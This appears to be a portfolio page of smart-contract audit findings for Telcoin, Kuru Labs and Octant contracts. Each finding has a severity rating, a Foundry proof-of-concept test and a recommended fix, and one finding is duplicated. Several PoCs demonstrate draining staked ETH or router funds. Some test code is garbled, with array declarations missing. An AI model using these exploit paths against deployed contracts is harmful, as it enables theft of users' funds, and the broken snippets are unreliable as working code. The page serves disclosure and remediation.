Skip to main content

#1

Title :

Virtual Balances Allow Complete Funds Loss​

Protocol: Telcoin Association / telcoin-network

ID: #593

Severity: High
Likelihood: High
Impact: High

Summary​

The ConsensusRegistry contract allows initial validators to be created with virtual balances without depositing real ETH. Attackers exploit this to steal funds from honest stakers by slashing initial validators and triggering broken accounting logic during unstaking, draining all contract funds.

Finding Description​

  • The constructor sets validator balances without requiring matching ETH deposits
  • Creates virtual balances (e.g., 1000 ETH) while contract holds 0 real ETH
  • _unstake() attempts to cover slashing deficits using contract funds
  • Sends ETH to cover virtual balance shortfalls
function _unstake(
        address validatorAddress,
        address recipient,
        uint8 validatorVersion
    )
        internal
        virtual
        returns (uint256)
    {
        uint256 stakeAmt = versions[validatorVersion].stakeAmount;
        uint256 rewards = _getRewards(validatorAddress, stakeAmt);

        
        uint256 bal = balances[validatorAddress];
        //This balances are updated with virtual amount in constructor for the validators .
        ................. 
        ................. 
        ................  
    }

Attack Flow​

  • Contract deployed with initial validators (virtual 1000 ETH balance, 0 real ETH)
  • Alice stakes 1000 real ETH
  • Attacker slashes initial validator by 50% (virtual balance: 500 ETH)

Unstake:

  • Contract sends 500 ETH to Issuance to "cover deficit"
  • Sends 500 ETH to attacker
  • Contract balance drained to 0, Alice's funds stolen

Impact Explanation​

  • Complete drainage of honest stakers' ETH
  • No recovery mechanism for stolen funds

Likelihood Explanation​

  • Exploitable immediately after deployment
  • No special privileges required
  • Only needs control of initial validator (pre-configured)
  • Minimal cost for maximum reward (steal all staked ETH)
  • Requires only one honest staker to be present

Proof of Concept​

function test_initialValidatorDrain() public {
    // Remove issuance allocation to isolate attack scenario
    vm.deal(address(consensusRegistry), 0);
    console.log("[Init] Contract balance: %s", address(consensusRegistry).balance);

    // Create honest staker (Alice)
    address alice = address(0xAA);
    vm.deal(alice, stakeAmount_);
    console.log("[Alice] Initial balance: %s", alice.balance);
    
    vm.prank(crOwner);
    consensusRegistry.mint(alice);
    
    // Alice stakes
    vm.prank(alice);
    consensusRegistry.stake{value: stakeAmount_}(_createRandomBlsPubkey(100));
    console.log("[Alice] Staked: %s", stakeAmount_);
    console.log("[Contract] After Alice stake: %s", address(consensusRegistry).balance);

    // Get initial committee size
    uint256 initialCommitteeSize = consensusRegistry.getValidators(ValidatorStatus.Active).length;
    console.log("[Committee] Initial size: %s", initialCommitteeSize);
    
    // Slash initial validator (50% slash)
    Slash ;
    slashes[0] = Slash(validator1, stakeAmount_/2);
    vm.prank(sysAddress);
    consensusRegistry.applySlashes(slashes);
    console.log("[Validator1] Slashed 50% - New balance: %s", consensusRegistry.getBalance(validator1));

    // Exit validator1
    vm.prank(validator1);
    consensusRegistry.beginExit();
    console.log("[Validator1] Exit initiated");
    
    // Fast-forward through epochs to finalize exit
    vm.startPrank(sysAddress);
    
    console.log("\n[Epoch 1] Concluding...");
    consensusRegistry.concludeEpoch(_createTokenIdCommittee(initialCommitteeSize));
    console.log("[Epoch] Current: %s", consensusRegistry.getCurrentEpoch());
    
    console.log("[Epoch 2] Concluding...");
    consensusRegistry.concludeEpoch(_createTokenIdCommittee(initialCommitteeSize));
    console.log("[Epoch] Current: %s", consensusRegistry.getCurrentEpoch());
    
    console.log("[Epoch 3] Concluding...");
    consensusRegistry.concludeEpoch(_createTokenIdCommittee(initialCommitteeSize - 1));
    console.log("[Epoch] Current: %s", consensusRegistry.getCurrentEpoch());
    console.log("[Validator1] Status: %s", 
        uint8(consensusRegistry.getValidator(validator1).currentStatus));
    
    vm.stopPrank();
    
    // Capture balances before attack
    uint256 initialContractBalance = address(consensusRegistry).balance;
    uint256 initialValidator1Balance = validator1.balance;
    console.log("\n[Pre-Attack] Contract balance: %s", initialContractBalance);
    console.log("[Pre-Attack] Validator1 balance: %s", initialValidator1Balance);
    
    // Attack: Unstake validator1 to drain funds
    vm.prank(validator1);
    consensusRegistry.unstake(validator1);
    console.log("[Validator1] Unstaked");
    
    // Validate funds were drained
    console.log("\n[Post-Attack] Validator1 received: %s", 
        validator1.balance - initialValidator1Balance);
    console.log("[Post-Attack] Contract balance: %s", 
        address(consensusRegistry).balance);
    
    // Validate honest staker is locked
    console.log("\n[Alice] Attempting to unstake...");
    vm.prank(alice);
    vm.expectRevert(); // Expect revert due to insufficient funds
    consensusRegistry.unstake(alice);
    console.log("[Alice] Unstake failed as expected");
}

===> Result​

root@lenova:~/contest/tn-contracts# forge test --match-test test_initialValidatorDrain -vvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment. 

[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/consensus/ConsensusRegistryTest.t.sol:ConsensusRegistryTest
[PASS] test_initialValidatorDrain() (gas: 1002714)
Logs:
  [Init] Contract balance: 0
  [Alice] Initial balance: 1000000000000000000000000
  [Alice] Staked: 1000000000000000000000000
  [Contract] After Alice stake: 1000000000000000000000000
  [Committee] Initial size: 4
  [Validator1] Slashed 50% - New balance: 500000000000000000000000
  [Validator1] Exit initiated
  
[Epoch 1] Concluding...
  [Epoch] Current: 1
  [Epoch 2] Concluding...
  [Epoch] Current: 2
  [Epoch 3] Concluding...
  [Epoch] Current: 3
  [Validator1] Status: 5
  
[Pre-Attack] Contract balance: 1000000000000000000000000
  [Pre-Attack] Validator1 balance: 0
  [Validator1] Unstaked
  
[Post-Attack] Validator1 received: 500000000000000000000000
  [Post-Attack] Contract balance: 0
  
[Alice] Attempting to unstake...
  [Alice] Unstake failed as expected

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.32ms (5.57ms CPU time)

Ran 1 test suite in 41.61ms (16.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/contest/tn-contracts#

Recommendation​

// In ConsensusRegistry constructor

constructor(...) {
 
    uint256 requiredStake = genesisConfig_.stakeAmount * initialValidators_.length;
    require(address(this).balance == requiredStake, "Fund initial validators");
}

#2

Title

Incorrect Balance Handling During Slashing Causes Protocol Fund Drainage​

Protocol: Telcoin Association / telcoin-network

ID: #917
Duplicate of: #730
Severity: High
Likelihood: Medium
Impact: High

Summary​

When validators are slashed more than their current balance, premature balance reset in _consensusBurn combined with incorrect accounting in _unstake causes protocol funds to leak. This allows partial penalty enforcement while draining additional reserves from the system.

Finding Description​

Premature Balance Reset:​

  • _consensusBurn() sets balances[validator] = 0 before calling _unstake()

Incorrect Withdrawal Calculation:​

  • _unstake() uses zeroed balance to calculate payouts, incorrectly sending initialStake instead of actualBalance

  • The slashing flow incorrectly handles partial slash scenarios due to improper balance accounting between applySlashes → _consensusBurn → _unstake, leading to protocol fund leakage.

1. Initial Slash Check (applySlashes):​

if (balances[validator] > slash.amount) {
    balances[validator] -= slash.amount; // Partial slash
} else {
    _consensusBurn(validator); // Full slash
}
  • Correctly routes to burn when balance ≤ slash amount

2. Burn Execution (_consensusBurn):​

balances[validator] = 0; // Premature balance wipe
// ... committee ejection logic ...
_unstake(validator, recipient, version); // Then calls unstake

3. Funds Withdrawal (_unstake):​

uint256 bal = balances[validator]; // Now 0 after burn
uint256 stakeAmt = versions[version].stakeAmount; // Initial stake (e.g., 100)

if (bal >= stakeAmt) {
    unstakeAmt = stakeAmt; // Not taken (0 < 100)
} else {
    unstakeAmt = bal; // 0
    // Sends stakeAmt - bal (100 - 0) to issuance
    issuance.call{value: stakeAmt - bal}(""); 
}
Issuance.distributeStakeReward{value: unstakeAmt}(...);

Execution Flow​

// applySlashes.sol
if (balances[validator] <= slash.amount) {
    _consensusBurn(validator); // Enters burn flow
}

// _consensusBurn.sol
balances[validator] = 0; // Premature reset 
_unstake(validator, recipient, version); // Passes bad data

// _unstake.sol
uint256 bal = balances[validator]; // Now 0
uint256 stakeAmt = initialStake; // 100 TEL
issuance.call{value: stakeAmt - bal}(""); // Sends 100 TEL!
  • Direct Loss: 70 TEL drained from reserves (100 sent - 30 actual)
  • Accounting Error: Validator's 30 TEL penalty is applied but protocol overpays
  • Systemic Risk: Repeat attacks could bankrupt staking pool

Impact Explanation​

  • Direct protocol fund loss
  • Undermines slashing penalties
  • Repeat attacks could bankrupt staking pool

Likelihood Explanation​

High Probability because:

  • Occurs every time slash.amount > validator.balance
  • Requires no special conditions
  • Exploitable by any validator

Recommendation​

Move balance reset into _unstake and capture actual balance first:

function _consensusBurn(address validatorAddress) internal {
    // Remove balance reset from here
    ValidatorInfo storage validator = validators[validatorAddress];
    
    // Ejection logic remains
    _ejectFromCommittees(validatorAddress, _getValidators(ValidatorStatus.Active).length);
    _exit(validator, currentEpoch);
    _retire(validator);
    
    // Now calls unstake which handles balance reset
    address recipient = _getRecipient(validatorAddress);
    _unstake(validatorAddress, recipient, validator.stakeVersion); 
}

function _unstake(address validatorAddress, address recipient, uint8 version) internal {
    // Capture balance FIRST
    uint256 actualBalance = balances[validatorAddress];
    
    // Then reset (your key insight)
    balances[validatorAddress] = 0;
    
    // Proceed with unstaking logic
    uint256 stakeAmt = versions[version].stakeAmount;
    _burn(_getTokenId(validatorAddress));

    if (actualBalance >= stakeAmt) {
        // Full stake return
        Issuance(issuance).distributeStakeReward{value: stakeAmt}(recipient, _getRewards(validatorAddress, stakeAmt));
    } else {
        // Partial return after slash
        Issuance(issuance).distributeStakeReward{value: actualBalance}(recipient, 0);
    }
}

#3

Title

Virtual Balances Allow Complete Funds Loss

Protocol: Telcoin Association / telcoin-network

ID: #593

Severity: High
Likelihood: High
Impact: High

Summary​

The ConsensusRegistry contract allows initial validators to be created with virtual balances without depositing real ETH. Attackers exploit this to steal funds from honest stakers by slashing initial validators and triggering broken accounting logic during unstaking, draining all contract funds.

Finding Description​

  • The constructor sets validator balances without requiring matching ETH deposits
  • Creates virtual balances (e.g., 1000 ETH) while contract holds 0 real ETH
  • _unstake() attempts to cover slashing deficits using contract funds
  • Sends ETH to cover virtual balance shortfalls
function _unstake(
        address validatorAddress,
        address recipient,
        uint8 validatorVersion
    )
        internal
        virtual
        returns (uint256)
    {
        uint256 stakeAmt = versions[validatorVersion].stakeAmount;
        uint256 rewards = _getRewards(validatorAddress, stakeAmt);

        
        uint256 bal = balances[validatorAddress];
        //This balances are updated with virtual amount in constructor for the validators .
        ................. 
        ................. 
        ................  
    }

Attack Flow​

  • Contract deployed with initial validators (virtual 1000 ETH balance, 0 real ETH)
  • Alice stakes 1000 real ETH
  • Attacker slashes initial validator by 50% (virtual balance: 500 ETH)

Unstake:

  • Contract sends 500 ETH to Issuance to "cover deficit"
  • Sends 500 ETH to attacker
  • Contract balance drained to 0, Alice's funds stolen

Impact Explanation​

  • Complete drainage of honest stakers' ETH
  • No recovery mechanism for stolen funds

Likelihood Explanation​

  • Exploitable immediately after deployment
  • No special privileges required
  • Only needs control of initial validator (pre-configured)
  • Minimal cost for maximum reward (steal all staked ETH)
  • Requires only one honest staker to be present

Proof of Concept​

function test_initialValidatorDrain() public {
    // Remove issuance allocation to isolate attack scenario
    vm.deal(address(consensusRegistry), 0);
    console.log("[Init] Contract balance: %s", address(consensusRegistry).balance);

    // Create honest staker (Alice)
    address alice = address(0xAA);
    vm.deal(alice, stakeAmount_);
    console.log("[Alice] Initial balance: %s", alice.balance);
    
    vm.prank(crOwner);
    consensusRegistry.mint(alice);
    
    // Alice stakes
    vm.prank(alice);
    consensusRegistry.stake{value: stakeAmount_}(_createRandomBlsPubkey(100));
    console.log("[Alice] Staked: %s", stakeAmount_);
    console.log("[Contract] After Alice stake: %s", address(consensusRegistry).balance);

    // Get initial committee size
    uint256 initialCommitteeSize = consensusRegistry.getValidators(ValidatorStatus.Active).length;
    console.log("[Committee] Initial size: %s", initialCommitteeSize);
    
    // Slash initial validator (50% slash)
    Slash ;
    slashes[0] = Slash(validator1, stakeAmount_/2);
    vm.prank(sysAddress);
    consensusRegistry.applySlashes(slashes);
    console.log("[Validator1] Slashed 50% - New balance: %s", consensusRegistry.getBalance(validator1));

    // Exit validator1
    vm.prank(validator1);
    consensusRegistry.beginExit();
    console.log("[Validator1] Exit initiated");
    
    // Fast-forward through epochs to finalize exit
    vm.startPrank(sysAddress);
    
    console.log("\n[Epoch 1] Concluding...");
    consensusRegistry.concludeEpoch(_createTokenIdCommittee(initialCommitteeSize));
    console.log("[Epoch] Current: %s", consensusRegistry.getCurrentEpoch());
    
    console.log("[Epoch 2] Concluding...");
    consensusRegistry.concludeEpoch(_createTokenIdCommittee(initialCommitteeSize));
    console.log("[Epoch] Current: %s", consensusRegistry.getCurrentEpoch());
    
    console.log("[Epoch 3] Concluding...");
    consensusRegistry.concludeEpoch(_createTokenIdCommittee(initialCommitteeSize - 1));
    console.log("[Epoch] Current: %s", consensusRegistry.getCurrentEpoch());
    console.log("[Validator1] Status: %s", 
        uint8(consensusRegistry.getValidator(validator1).currentStatus));
    
    vm.stopPrank();
    
    // Capture balances before attack
    uint256 initialContractBalance = address(consensusRegistry).balance;
    uint256 initialValidator1Balance = validator1.balance;
    console.log("\n[Pre-Attack] Contract balance: %s", initialContractBalance);
    console.log("[Pre-Attack] Validator1 balance: %s", initialValidator1Balance);
    
    // Attack: Unstake validator1 to drain funds
    vm.prank(validator1);
    consensusRegistry.unstake(validator1);
    console.log("[Validator1] Unstaked");
    
    // Validate funds were drained
    console.log("\n[Post-Attack] Validator1 received: %s", 
        validator1.balance - initialValidator1Balance);
    console.log("[Post-Attack] Contract balance: %s", 
        address(consensusRegistry).balance);
    
    // Validate honest staker is locked
    console.log("\n[Alice] Attempting to unstake...");
    vm.prank(alice);
    vm.expectRevert(); // Expect revert due to insufficient funds
    consensusRegistry.unstake(alice);
    console.log("[Alice] Unstake failed as expected");
}

===> Result​

root@lenova:~/contest/tn-contracts# forge test --match-test test_initialValidatorDrain -vvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment. 

[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/consensus/ConsensusRegistryTest.t.sol:ConsensusRegistryTest
[PASS] test_initialValidatorDrain() (gas: 1002714)
Logs:
  [Init] Contract balance: 0
  [Alice] Initial balance: 1000000000000000000000000
  [Alice] Staked: 1000000000000000000000000
  [Contract] After Alice stake: 1000000000000000000000000
  [Committee] Initial size: 4
  [Validator1] Slashed 50% - New balance: 500000000000000000000000
  [Validator1] Exit initiated
  
[Epoch 1] Concluding...
  [Epoch] Current: 1
  [Epoch 2] Concluding...
  [Epoch] Current: 2
  [Epoch 3] Concluding...
  [Epoch] Current: 3
  [Validator1] Status: 5
  
[Pre-Attack] Contract balance: 1000000000000000000000000
  [Pre-Attack] Validator1 balance: 0
  [Validator1] Unstaked
  
[Post-Attack] Validator1 received: 500000000000000000000000
  [Post-Attack] Contract balance: 0
  
[Alice] Attempting to unstake...
  [Alice] Unstake failed as expected

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.32ms (5.57ms CPU time)

Ran 1 test suite in 41.61ms (16.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/contest/tn-contracts#

Recommendation​

// In ConsensusRegistry constructor

constructor(...) {
 
    uint256 requiredStake = genesisConfig_.stakeAmount * initialValidators_.length;
    require(address(this).balance == requiredStake, "Fund initial validators");
}

#4

Title

Missing Explicit Validation for Minimum Initial Mint Amount

ID: #41
**Severity:Informational

Summary​

The initial mint process lacks an explicit check for minimum token amount, relying instead on arithmetic underflow protection. While safe, this reduces code clarity.

Finding Description​

  • In mintFresh(), when totalSupply == 0 (first mint), the code:

  • Sets totalSupply = mintTokens

  • Subtracts MINIMUM_DEAD_SHARES (1000) from mintTokens

  • If mintTokens < 1000, the subtraction underflows and reverts. However:

  • The error message is generic ("arithmetic underflow")

Impact Explanation​

  • No funds at risk

Likelihood Explanation​

  • Rare after initial deployment

Recommendation​

if ($.totalSupply == 0) {
    require(mintTokens >= MINIMUM_DEAD_SHARES, "Minimum 1000 tokens for first mint");
    $.totalSupply = mintTokens;
    mintTokens = mintTokens - MINIMUM_DEAD_SHARES;
}

#5

Title

Insufficient msg.value Checks in anyToAnySwap Permit Unauthorized ETH Usage​

Protocol: Kuru Labs /Kuru-Contracts

ID: #452

Severity: Medium

Likelihood: Medium

Impact: Medium

Summary​

The anyToAnySwap function lacks validation for msg.value when handling native ETH transactions. This allows users to underpay for swaps and have the contract itself cover the deficit from its own ETH balance, resulting in unauthorized fund usage.

Additionally, without validation, user mistakes (e.g., mismatched _amount and msg.value) lead to inconsistent behavior instead of reverting, making the protocol unreliable for ETH-based swaps.

Finding Description​

  • _nativeSend[0] == true indicates the swap should use native ETH
  • However, the function does not enforce msg.value == _amount
  • If msg.value < _amount, the Router contract covers the difference from its ETH balance
  • Since the Router has a payable receive() function, accidental ETH transfers can fund it, making the attack exploitable

Impact Explanation​

  • Direct ETH theft possible if Router has a balance (e.g., accidental transfers)
  • Exploiters can drain Router’s ETH reserves to complete swaps they didn’t fully pay for
  • Protocol integrity is undermined since msg.value mismatches are silently accepted

Severity classified as Medium because the Router is not designed to store ETH, but accidental ETH transfers make this scenario possible.

Likelihood Explanation​

  • Moderate likelihood:

    • Router isn’t meant to hold ETH, but can via fallback/receive
    • Exploit requires sending insufficient ETH intentionally
    • If Router balance exists, attacker reward is significant

Proof of Concept​

function testExploitNativeSendInsufficientMsgValue() public {
    // Seed router with ETH (simulating accidental transfer)
    uint256 routerInitialEth = 5 ether;
    (bool success, ) = payable(address(router)).call{value: routerInitialEth}("");
    require(success, "ETH transfer failed");
    assertEq(address(router).balance, routerInitialEth);

    // Create exploiter with only 1 ETH
    address exploiter = genAddress();
    vm.deal(exploiter, 1 ether);

    // Exploiter attempts swap with _amount = 5 ETH but msg.value = 1 ETH
    vm.startPrank(exploiter);
    address ;
    markets[0] = address(native_mon);
    bool ;
    isBuy[0] = false; // Selling ETH
    bool ;
    isNativeSend[0] = true; // Using native ETH

    router.anyToAnySwap{value: 1 ether}(
        markets, isBuy, isNativeSend, address(0), address(mon), 5 ether, 0
    );
    vm.stopPrank();

    // Exploiter gains MON as if they had sent 5 ETH
    uint256 expectedMon = 5 * 100 * 10 ** 18;
    assertEq(mon.balanceOf(exploiter), expectedMon);

    // Router’s ETH reduced by 4 ETH
    assertEq(address(router).balance, routerInitialEth - 4 ether);
}

Recommendation​

Add strict validation at the start of anyToAnySwap:

if (_nativeSend[0]) {
    require(msg.value == _amount, "Incorrect ETH amount sent");
} else {
    require(msg.value == 0, "ETH sent without nativeSend");
}

#6

Title

Incorrect Maker Fee Rebate Asset Credited​

Protocol: Kuru Labs /Kuru-Contracts

ID: #361

Severity: Medium

Likelihood: High

Impact: Medium

Summary​

The _creditMaker function incorrectly assigns fee rebates to makers in the asset they sold rather than the asset they received, violating the intended incentive structure for liquidity providers.

Finding Description​

When a maker provides liquidity, the fee rebate is credited in the wrong asset:

  • If a maker sells base asset (e.g., ETH), they receive quote asset (e.g., USDC) from the trade but are incorrectly rebated in base asset (ETH).
  • If a maker buys base asset (e.g., ETH), they receive base asset (ETH) from the trade but are incorrectly rebated in quote asset (USDC).

This is caused by an incorrect feeAsset assignment:

if (_isMarketBuy) {
    feeAsset = baseAsset;   //  Should be quoteAsset
} else {
    feeAsset = quoteAsset;  //  Should be baseAsset
}

Impact Explanation​

Medium severity:

  • Liquidity providers receive rebates in an unintended asset.
  • They may need to swap it back into their preferred asset, incurring extra costs and slippage.
  • This weakens the effectiveness of maker rebates as an incentive, potentially reducing liquidity in the protocol.

Likelihood Explanation​

High likelihood:

  • This issue occurs on every trade where maker fee rebates apply.
  • Since most trades incur fees, the bug consistently affects active markets.

Proof of Concept​

function testFeeRebateAssetBug() public {
    // Set fees to non-zero: 1% taker fee, 0.5% maker rebate
    uint96 takerFee = 100;
    uint256 makerFee = 50;

    // Deploy orderBook with fees
    address proxy = router.deployProxy(...);
    OrderBook orderBookWithFees = OrderBook(proxy);

    // Maker sells 1 ETH for USDC
    orderBookWithFees.addSellOrder(price, size, false);

    // Taker buys ETH with USDC
    orderBookWithFees.placeAndExecuteMarketBuy(quoteNeeded, 0, false, false);

    // Verify balances
    uint256 makerUSDCBalance = marginAccount.getBalance(maker, address(usdc));
    uint256 makerETHBalance  = marginAccount.getBalance(maker, address(eth));

    // Due to bug: rebate credited in ETH
    uint256 expectedRebateETH = (amountETH * makerFee) / 10000;
    assertEq(makerETHBalance, expectedRebateETH);

    // Correct behavior: rebate should be in USDC
    // uint256 expectedRebateUSDC = (amountUSDC * makerFee) / 10000;
    // assertEq(makerUSDCBalance, amountUSDC + expectedRebateUSDC);
}

Recommendation​

Correct the rebate asset assignment in _creditMaker:

if (_isMarketBuy) {
    feeAsset = quoteAsset;  // Rebate in received asset
} else {
    feeAsset = baseAsset;   //  Rebate in received asset
}

#7

Title

Price-Dependent Buy Orders Execute at Incorrect Prices​

Protocol: TKuru Labs/Kuru-COntracts

ID: #329

Severity: Medium

Likelihood: High

Impact: High

Summary​

The executePriceDependent function incorrectly uses the bid price instead of the ask price for buy order validation. As a result, buy orders may execute at prices higher than the user’s intended limit, leading to direct financial losses.

Finding Description​

  • The function validates buy orders against the bid price (buyers’ offers) instead of the ask price (sellers’ offers).
  • This causes a mismatch between the user’s limit price and the execution condition.

Example:

  • User limit: $2000
  • Market: Bid = 2010, Ask = 2020
  • Buggy check: 2000 < 2010 → evaluates true → executes at $2020
  • Result: User pays $2020 instead of ≤ $2000, losing $20 per unit.

Impact Explanation​

High Impact:

  • Users suffer direct financial loss, as trades execute at worse prices than their stated limits.
  • This undermines user trust in the protocol’s order execution guarantees.

Likelihood Explanation​

High Likelihood:

  • This affects all price-dependent buy orders where bid < limit < ask.
  • Such market conditions are common, making this issue reproducible in live trading.

Proof of Concept​

// Setup: Market bid=2010, ask=2020
mockOrderBook.setPrices(2010 * 1e18, 2020 * 1e18);

// User places a buy with limit=2000
KuruForwarder.PriceDependentRequest memory req = KuruForwarder.PriceDependentRequest({
    from: user,
    market: address(mockOrderBook),
    price: 2000 * 1e18,
    value: 0,
    nonce: 1,
    deadline: block.timestamp + 1000,
    isBelowPrice: true,   // buy order
    selector: MockOrderBook.noOp.selector,
    data: abi.encodeWithSelector(MockOrderBook.noOp.selector)
});

// Bug: Validation compares limit vs bid
// Executes even though ask (2020) > limit (2000)
forwarder.executePriceDependent{value: 0}(req, signature);

// Assertion confirms bug
(uint256 currentBid, uint256 currentAsk) = mockOrderBook.bestBidAsk();
bool wouldExecuteWithBug = currentBid < req.price; // Buggy
bool shouldExecute       = currentAsk < req.price; // Correct
assertTrue(wouldExecuteWithBug && !shouldExecute, "Bug confirmed");

Observed Outcome:

  • Order executes despite Ask=2020 > Limit=2000.
  • User suffers $20 per unit loss.

Recommendation​

Fix the validation logic in executePriceDependent to use the correct market side:

(uint256 bid, uint256 ask) = IOrderBook(req.market).bestBidAsk();

if (req.isBelowPrice) {
    //  For buy orders → compare against ask
    require(ask < req.price, "Ask price exceeds limit");
} else {
    //  For sell orders → compare against bid
    require(bid > req.price, "Bid price below limit");
}

#8

Title

Incorrect Withdrawal Accounting During Partial Fills​

Protocol: Kuru Labs

ID: #262

Severity: High

Likelihood: High

Impact: High

Summary​

The _convertToAssetsWithNewSize function miscalculates withdrawal amounts when partial fills exist. It adjusts reserves for owed amounts and then applies the adjustment again during user share calculation, effectively double-counting.

This results in:

  • Overpayment if the vault owes assets (negative owed balance)
  • Underpayment if the vault is owed assets (positive owed balance)

Finding Description​

  • Vault reserves are adjusted for partial fill obligations.
  • The same adjustment is re-applied during withdrawal share calculation.
  • This breaks the accounting invariant: users should only receive their proportional share of net available assets.

Impact Explanation​

High Impact

  • Overpayment → vault reserves drained unfairly.
  • Underpayment → users are denied rightful assets.
  • Over time, this leads to vault insolvency and protocol failure.

Likelihood Explanation​

High Likelihood

  • Partial fills are common in trading.
  • Every withdrawal during partial fill conditions will trigger mis-accounting.

Proof of Concept​

function testPartialFillAccountingBug() public {
    // 1. User deposits into vault
    uint256 shares = vault.deposit(1000 ether, 3000000e6, depositor);

    // 2. Vault bid partially filled
    orderBook.placeAndExecuteMarketSell(vaultBidOrderSize / 2, 0, false, false);

    // 3. User withdraws shares
    (uint256 baseReceived, uint256 quoteReceived) = vault.withdraw(shares, depositor, depositor);

    // 4. Expected net reserves after correct accounting
    int256 baseOwedToVault = int256(partiallyFilledAsk) - int256(partiallyFilledBid);
    int256 quoteOwedToVault = int256(partiallyFilledBid * vaultBestBid)
                            - int256(partiallyFilledAsk * vaultBestAsk);

    uint256 netBase  = vaultBaseBalanceBefore;
    uint256 netQuote = vaultQuoteBalanceBefore;

    if (baseOwedToVault < 0)  netBase  -= uint256(-baseOwedToVault);
    if (quoteOwedToVault < 0) netQuote -= uint256(-quoteOwedToVault);

    uint256 expectedBase  = shares * netBase  / vault.totalSupply();
    uint256 expectedQuote = shares * netQuote / vault.totalSupply();

    // Assertions show received != expected due to double-counting
    if (baseOwedToVault < 0) {
        assertGt(baseReceived, expectedBase); // Overpayment
    } else {
        assertLt(baseReceived, expectedBase); // Underpayment
    }
}

Observed:

  • Withdrawals return too much or too little depending on owed balance sign.

Recommendation​

Eliminate double-counting by calculating user shares only against net reserves:


//  Corrected withdrawal calculation
uint256 _baseOwedToUser  = FixedPointMathLib.mulDiv(shares, netBase, totalSupply);
uint256 _quoteOwedToUser = FixedPointMathLib.mulDiv(shares, netQuote, totalSupply);

// Do not add/subtract owed amounts again after this

Finding #9

ID: #209

Title: previewMint Returns Misleading (0, 0) for an Uninitialized Vault

Protocol: Kuru Labs

Severity: low

Likelihood: medium

Impact: low

Finding Description​

The previewMint function returns (0, 0) when the vault has no liquidity (totalSupply() == 0), implying no tokens are needed to mint shares. However, the mint function requires a deposit, causing transactions to revert due to underflow. This misleads users, resulting in wasted gas and poor UX for the first depositor.

Impact Explanation​

  • No fund loss occurs.
  • Users experience failed transactions and gas waste due to incorrect preview information.
  • Impacts usability for the first depositor.

Likelihood Explanation​

  • This affects only the first depositor before any liquidity is added.
  • Once the vault is initialized, the issue does not occur.

Proof of Concept​

function test_previewMint_Bug_ReturnsZeroForEmptyVault() public {
    // 1. Check that the vault is empty (totalSupply is 0) from the setUp()
    assertEq(vault.totalSupply(), 0, "Vault should start with zero supply");

    // 2. Call previewMint for 1000 shares - THIS IS THE BUG
    (uint256 previewBase, uint256 previewQuote) = vault.previewMint(1000 ether);

    // This assertion will PASS, demonstrating the bug: it returns (0, 0)
    assertEq(previewBase, 0, "Bug: previewMint should not return 0 for base tokens");
    assertEq(previewQuote, 0, "Bug: previewMint should not return 0 for quote tokens");

    // 3. Now try to mint using the values from previewMint - THIS WILL REVERT
    // We expect the call to revert because you can't mint shares without depositing tokens.
    vm.expectRevert(); // This expects any revert (the specific underflow error)
    vault.mint(1000 ether, address(this)); // Call mint
}

Recommendation​

In _convertToAssets, revert with a custom error instead of returning (0, 0) when totalSupply() == 0 and isDeposit == true:

if (isDeposit) {
    if (totalSupply() == 0) {
        revert KuruAMMVaultErrors.NoInitialLiquidity();
    }
    // ... existing logic ...
}

#10

Title

DragonRouter addStrategy Function Does Not Persist Strategy Data​

Protocol: Octant / octant-v2-core

ID: #171

Severity: High

Likelihood: High

Impact: High

Summary​

The addStrategy function in the DragonRouter contract incorrectly uses a memory variable to update strategy data, preventing the data from being stored.

This renders any added strategy unusable for funding and distribution.

Finding Description​

  • The addStrategy function creates a memory copy of the strategy data from storage:

    StrategyData memory _stratData = strategyData[_strategy];

    and updates that copy instead of storage directly.

  • After adding a strategy, the strategyData mapping remains uninitialized.

  • Functions like fundFromSource and claimSplit rely on this data being set. For example, fundFromSource checks if asset is not zero:

    if (data.asset == address(0)) revert ZeroAddress();

    But since it is zero due to the bug, the call reverts.

  • This breaks the core functionality of yield distribution, as strategies cannot be funded or used for claims.

Impact Explanation​

High Impact

  • Admins can add strategies, but they cannot fund them or distribute yields.
  • This leads to loss of functionality and potential loss of funds if strategies are expected to be operational.
  • The bug affects all strategies added via addStrategy.

Likelihood Explanation​

High Likelihood

  • The bug occurs every time a new strategy is added via addStrategy.
  • Since onboarding strategies is a necessary step in normal operations, it will always be encountered.
  • The impact is immediate and persistent until fixed.

Proof of Concept​

function testDragonRouterAddStrategyBug() public {
    // Get the DragonRouter and mock strategy addresses
    DragonRouter router = dragonRouterProxy;
    address strategyAddress = address(mockStrategyProxy);

    // Check that the strategy is not added initially
    (address asset, uint256 totalShares, uint256 assetPerShare, uint256 totalAssets) =
        router.strategyData(strategyAddress);
    assertEq(asset, address(0), "Strategy should not be added initially");

    // Prepare the calldata to add the strategy
    bytes memory addStrategyData = abi.encodeWithSignature("addStrategy(address)", strategyAddress);

    // Execute the transaction via the Safe with required signatures
    uint256[] memory signerIndices = new uint256[](TEST_THRESHOLD);
    for (uint256 i = 0; i < TEST_THRESHOLD; i++) {
        signerIndices[i] = i;
    }
    execTransaction(address(router), 0, addStrategyData, signerIndices);

    // Check the strategy data after adding - due to the bug, it should still be uninitialized
    (asset, totalShares, assetPerShare, totalAssets) = router.strategyData(strategyAddress);
    assertEq(asset, address(0), "Bug: asset should still be address(0) due to memory update in addStrategy");
    assertEq(totalShares, 0, "Bug: totalShares should still be 0 due to memory update in addStrategy");

    // Grant SPLIT_DISTRIBUTOR_ROLE to the deployer so we can call fundFromSource
    bytes memory grantRoleData =
        abi.encodeWithSignature("grantRole(bytes32,address)", router.SPLIT_DISTRIBUTOR_ROLE(), deployer);
    execTransaction(address(router), 0, grantRoleData, signerIndices);

    // Attempt to call fundFromSource - it should revert because asset is address(0)
    vm.startPrank(deployer);
    vm.expectRevert(); // Expect revert due to ZeroAddress check in fundFromSource
    router.fundFromSource(strategyAddress, 100e18);
    vm.stopPrank();
}

Observed:

  • Strategy data remains uninitialized after addStrategy.
